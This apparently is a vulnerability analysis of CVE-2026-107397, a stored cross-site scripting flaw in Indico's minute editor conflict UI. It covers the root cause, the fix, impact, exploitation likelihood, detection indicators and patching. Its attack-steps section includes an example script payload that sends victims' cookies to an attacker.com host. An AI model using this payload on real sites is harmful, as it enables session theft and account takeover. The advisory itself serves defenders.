CVE-2026-107397: 
Python vulnerability analysis and mitigation

CVE-2026-107397 is a stored Cross-Site Scripting (XSS) vulnerability in Indico, an open-source event management system developed by CERN. The flaw exists in the minute editor conflict UI, which is displayed when concurrent edits are made to the same event minutes. Authenticated users with content creation privileges — including speakers who can create minutes — can inject crafted HTML that executes attacker-controlled scripts in the browsers of other viewers. All Indico versions prior to 3.3.13 are affected. The vulnerability carries a CVSS v3.1 base score of 4.4 (Moderate) (GitHub Advisory).

The root cause is improper neutralization of user-controlled HTML input stored in event minutes (CWE-79). When the minute editor serializes note content for the conflict resolution UI, it previously failed to sanitize the HTML before rendering it in the browser. The fix, implemented in pull request #7619, adds a _sanitize_html post-dump hook to both EventNoteSchema and CompiledEventNoteSchema using the sanitize_html utility, ensuring HTML is sanitized after serialization. Additionally, URL fields in attachment and menu link forms were updated to enforce http:// or https:// protocol validation to prevent protocol-based XSS vectors (GitHub PR #7619, GitHub Commit). Exploitation requires both the attacker and victim to have editing privileges on the same minutes, and the victim must interact with the conflict UI — making this a high-complexity attack (GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser within the Indico origin, enabling session token theft, unauthorized actions on behalf of the victim, and modification of event data. The scope is changed (cross-component), meaning the injected script can affect resources beyond the vulnerable component itself. Availability is not impacted, and both confidentiality and integrity impacts are rated low, consistent with the moderate severity rating (GitHub Advisory, Feedly).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.233%, placing it in the 13th percentile for exploitation likelihood within 30 days (GitHub Advisory). No threat actor attribution has been reported.

1. Gain content creation access: Obtain an Indico account with privileges to create or edit event minutes (e.g., as a speaker or event manager on a target event).
2. Inject malicious HTML: Edit the minutes of a target event and embed crafted HTML containing a malicious script payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in the minutes content.
3. Trigger concurrent edit conflict: Arrange for a concurrent edit to the same minutes (either by the attacker using a second session or by waiting for another legitimate editor), which causes the minute editor conflict UI to be displayed to other users viewing or editing the minutes.
4. Victim interaction: When a victim with editing privileges opens the conflict resolution UI, the unsanitized attacker-controlled HTML is rendered in their browser, executing the injected script in the Indico origin.
5. Harvest results: The script executes in the victim's browser context, potentially exfiltrating session cookies, performing authenticated actions, or modifying event data on behalf of the victim (GitHub Advisory, GitHub PR #7619).

• Logs: Indico access logs showing requests to the minutes/notes API endpoints (e.g., /event/<id>/notes/) containing unusual HTML tags or JavaScript patterns in POST body data; unexpected API calls to note conflict resolution endpoints from users who do not typically edit minutes.
• Network: Outbound HTTP requests from users' browsers to external domains immediately after accessing the minute editor conflict UI; unusual data exfiltration patterns (e.g., cookie values appended to external URLs).
• Application: Event minutes containing raw <script>, <img onerror=...>, or other active HTML tags when inspected in the database or via the Indico admin interface.

Upgrade Indico to version 3.3.13 or later, which includes the fix for this vulnerability (Indico Release v3.3.13). As an interim workaround, enable Content Security Policy by setting CSP_ENABLED = True in indico.conf — the Indico team recommends this regardless of patching status (GitHub Advisory). Additionally, restrict content creation permissions (particularly minute creation) to only trusted users until the patch can be applied.

The advisory was published by the Indico maintainer (ThiefMaster) on August 25, 2026, and the fix was merged on June 30, 2026, ahead of the public disclosure. The Indico team noted in the release notes that the risk is relatively low because exploitation requires both the attacker and victim to have editing privileges on the same minutes (Indico Release v3.3.13). No significant broader community or media reactions have been identified beyond standard vulnerability tracking coverage.